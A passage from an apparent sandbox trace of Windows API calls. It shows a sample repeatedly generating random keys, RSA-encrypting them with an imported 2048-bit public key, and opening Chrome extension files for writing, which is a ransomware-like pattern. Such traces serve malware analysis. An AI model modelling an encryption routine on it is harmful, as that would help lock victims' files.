lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.544] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.544] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.544] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.546] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e338) returned 1 [0237.547] CryptGetKeyParam (in: hKey=0x659e338, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.547] CryptEncrypt (in: hKey=0x659e338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x94c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x94c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.547] GetLastError () returned 0x0 [0237.547] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.547] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.549] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e378) returned 1 [0237.549] CryptGetKeyParam (in: hKey=0x659e378, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.549] CryptEncrypt (in: hKey=0x659e378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x94d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x94d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.549] GetLastError () returned 0x0 [0237.549] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.549] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.550] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.553] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.555] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.555] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.555] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.555] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.557] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.559] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.559] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.559] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.559] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.561] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e3f8) returned 1 [0237.561] CryptGetKeyParam (in: hKey=0x659e3f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.561] CryptEncrypt (in: hKey=0x659e3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x94e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x94e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.562] GetLastError () returned 0x0 [0237.562] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.562] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0237.564] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e4b8) returned 1 [0237.564] CryptGetKeyParam (in: hKey=0x659e4b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.564] CryptEncrypt (in: hKey=0x659e4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x94f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x94f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.564] GetLastError () returned 0x0 [0237.564] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.564] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.565] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.568] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.571] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.571] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.571] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.571] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.573] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.574] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.574] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.575] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.575] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.577] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659edb8) returned 1 [0237.577] CryptGetKeyParam (in: hKey=0x659edb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.577] CryptEncrypt (in: hKey=0x659edb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9500000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9500000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.577] GetLastError () returned 0x0 [0237.577] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.577] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.579] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659eeb8) returned 1 [0237.579] CryptGetKeyParam (in: hKey=0x659eeb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.579] CryptEncrypt (in: hKey=0x659eeb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9510000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9510000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.580] GetLastError () returned 0x0 [0237.580] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.580] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.581] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.584] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.586] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.586] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.586] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.586] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.588] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.590] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.590] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.590] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.590] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.592] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659eef8) returned 1 [0237.592] CryptGetKeyParam (in: hKey=0x659eef8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.592] CryptEncrypt (in: hKey=0x659eef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9520000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9520000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.592] GetLastError () returned 0x0 [0237.592] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.593] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.594] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ebf8) returned 1 [0237.594] CryptGetKeyParam (in: hKey=0x659ebf8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.594] CryptEncrypt (in: hKey=0x659ebf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9530000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9530000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.595] GetLastError () returned 0x0 [0237.595] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.595] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.595] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.598] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.600] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.600] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.600] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.600] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.602] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.603] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.603] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.603] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.604] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0237.606] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ea78) returned 1 [0237.606] CryptGetKeyParam (in: hKey=0x659ea78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.606] CryptEncrypt (in: hKey=0x659ea78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9540000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9540000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.606] GetLastError () returned 0x0 [0237.606] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.606] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.608] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659e9b8) returned 1 [0237.608] CryptGetKeyParam (in: hKey=0x659e9b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.608] CryptEncrypt (in: hKey=0x659e9b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9550000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9550000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.609] GetLastError () returned 0x0 [0237.609] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.609] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.610] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.613] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.614] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.615] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.615] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.615] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0237.618] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.620] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.620] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.620] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.620] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.622] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ef38) returned 1 [0237.622] CryptGetKeyParam (in: hKey=0x659ef38, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.622] CryptEncrypt (in: hKey=0x659ef38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9560000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9560000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.622] GetLastError () returned 0x0 [0237.622] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.622] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0237.624] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ee78) returned 1 [0237.624] CryptGetKeyParam (in: hKey=0x659ee78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.624] CryptEncrypt (in: hKey=0x659ee78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9570000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9570000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.624] GetLastError () returned 0x0 [0237.624] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.624] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.625] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.628] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.629] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.629] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.629] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.629] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.631] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.633] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.633] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.633] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.633] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0237.635] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ed78) returned 1 [0237.635] CryptGetKeyParam (in: hKey=0x659ed78, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.635] CryptEncrypt (in: hKey=0x659ed78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9580000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x9580000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0237.636] GetLastError () returned 0x0 [0237.636] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.636] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.637] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ecb8) returned 1 [0237.637] CryptGetKeyParam (in: hKey=0x659ecb8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0237.638] CryptEncrypt (in: hKey=0x659ecb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9590000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x9590000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0237.638] GetLastError () returned 0x0 [0237.638] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0237.638] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.639] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0237.641] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.643] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.643] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0237.643] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0237.643] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0237.645] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.646] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.647] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0237.647] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.647] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0237.649] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659ecf8) returned 1 [0237.649] CryptGetKeyParam (in: hKey=0x659ecf8, 